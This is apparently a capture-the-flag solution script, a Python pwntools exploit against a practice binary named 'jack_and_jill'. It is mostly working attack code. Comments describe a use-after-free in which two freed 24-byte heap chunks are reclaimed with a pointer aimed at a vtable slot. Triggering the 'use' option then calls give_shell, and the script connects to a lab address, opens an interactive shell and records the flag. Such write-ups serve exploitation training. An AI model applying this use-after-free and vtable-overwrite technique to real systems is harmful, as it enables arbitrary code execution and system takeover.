#!/usr/bin/env python 

from pwn import *

"""
 1. program set 2 chunk of 'Human' before into while loop
 2. heap size = 0x18 = 24
 3. choose '1.use' will call the function add of [heap+8]
 4. choose '2.after' will ask for a size of unsign long first then ask for some data 
 5. choose '3.free' will free two chunk
 6. cause there has two block and the '1.use' will call from first,
    so we have to '2.after' twice so that we can input data to the first heap chunk 
 7. and let [heap+8] = add of shell
"""


"""
 gdb-peda$ find 0x4012ca
 Searching for '0x4012ca' in: None ranges
 Found 6 results, display max 6 items:
 jack_and_jill : 0x401630 --> 0x4012ca (<Human::give_shell()>:	push   rbp)
"""

point_to_shell = 0x401630
shell = 0x4012CA

r = remote('192.168.31.25',12007)
#r = process('./jack_and_jill')
#print r.proc.pid
#a = raw_input()

r.sendlineafter('free', '3')
r.sendlineafter('free', '2 24 '+ p64(point_to_shell-0x8) )
r.sendlineafter('free', '2 24 '+ p64(point_to_shell-0x8) )
r.sendlineafter('free','1')

r.interactive()


#AD{uaf_and_vtable_overwrite_are_a_very_common_bug}

